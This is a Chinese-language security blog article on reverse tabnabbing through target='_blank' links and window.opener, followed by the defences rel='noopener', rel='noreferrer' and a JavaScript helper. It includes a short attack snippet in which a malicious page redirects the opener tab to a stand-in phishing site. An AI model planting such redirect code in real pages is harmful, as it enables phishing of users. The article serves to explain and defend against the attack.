危险的 target="_blank" 与“opener”

作者:jinliming2@知道创宇404实验室

发表时间:2018年3月7日

原文:http://mp.weixin.qq.com/s/T4jQUdS-rar7hr2EWilJrw

在网页中使用链接时,如果想要让浏览器自动在新的标签页打开指定的地址,通常的做法就是在 a 标签上添加 target="_blank" 属性。

然而,就是这个属性,为钓鱼攻击者带来了可乘之机。

起源

parentopener

在说 opener 之前,可以先聊聊 <iframe> 中的 parent

我们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window

openerparent 一样,只不过是用于 <atarget="_blank"> 在新标签页打开的页面的。通过 <atarget="_blank"> 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时, parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不同时, parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

<iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 <iframe> 的安全性。

利用

如果,你的网站上有一个链接,使用了 target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

1.在你的网站 https://example.com 上存在一个链接: html<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>

2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。

并且,这个网站上包含着类似于这样的 JavaScript 代码:

consturl=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);

3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F

4.恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。

5.用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的,在跨域情况下, opener 对象和 parent 一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

但是与 parent 不同的是,在跨域的情况下, opener 仍然可以调用 location.replace 方法而 parent 则不可以

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

防御

<iframe> 中有 sandbox 属性,而链接,则可以使用下面的办法:

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 ReferrerPolicy 头来保证来源隐私安全。

ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是:即使限制了 referer 的传递,仍然不能阻止原标签被恶意跳转。

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

3. JavaScript

noopener 属性看似是解决了所有问题,但是...浏览器的兼容性问题...

可以看到,现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict";
function openUrl(url) {
 var newTab = window.open();
 newTab.opener = null;
 newTab.location = url;
}

推荐

首先,在网站中的链接上,如果使用了 target="_blank",就要带上 rel="noopener",并且建议带上 rel="noreferrer"。类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

性能

最后,再来说说性能问题。

如果网站使用了 <atarget="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。

而如果在链接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

编辑于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏云计算教程系列

如何使用tmux终端多路复用器

TMUX是终端多路复用器。类似GNU Screen,但来自于OpenBSD,采用BSD授权。使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在...

1033
来自专栏IT大咖说

大漠穷秋:全面解读Angular 4.0核心特性

摘要 基于最新的Angular4.0版本,超级大咖大漠穷秋为我们讲解强大的集成开发平台Angular/cli,以及Angular最核心的3大概念:组件、模块、路...

3495
来自专栏Jerry的SAP技术分享

小技巧:如何突破某些网站只能登陆后才能进行文字拷贝的限制

我写公众号文章时,经常需要从一些网站的文章上查阅一些资料。比如我想把这个网页上的一个标题“SAP Fiori 2.0用户体验设计概念获红点大奖”进行拷贝。

1073
来自专栏美丽应用

Linux Deploy:部署图形界面环境

2721
来自专栏魏琼东

.NET快速开发实践之应用IExtenderProvider实现对象与UI控件的绑定

         现在企业级的信息系统应用开发之中,数据层采用了ORM,解放了之前开发最大工作量的核对SQL语句,我到现在还曾经记得在2002年实医院管理信息系...

1846
来自专栏知晓程序

开发 | 简单易上手,资讯类小程序开发实战指南

今天,知晓程序(微信号 zxcx0101)将通过一个简单的电影资讯小程序,来看看在知晓云内容库功能的帮助下,如何将内容资讯类小程序的开发效率提高 60%。

1061
来自专栏phodal

前端程序员必知:单页面应用的核心

这几年里,单页面应用的框架令人应接不暇,各种新的概念也层出不穷。从过去的 jQuery Mobie、Backbone 到今天的 Angular 2、React、...

2279
来自专栏Fundebug

Vue UI:Vue开发者必不可少的工具

为了保证可读性,本文采用意译而非直译。另外,本文版权归原作者所有,翻译仅用于学习。

1725
来自专栏魏艾斯博客www.vpsss.net

国外免费 Linux 面板-VestaCP 安装及建站教程

3022
来自专栏腾讯AlloyTeam的专栏

Node 直出理论与实践总结

直出是什么?到底是怎样的性能优化?本文将结合从在浏览器输入url,到展示最终页面的过程来对其进行一步步分析,并将在手Q web 中的实际应用实践进行总结。

7380

扫码关注云+社区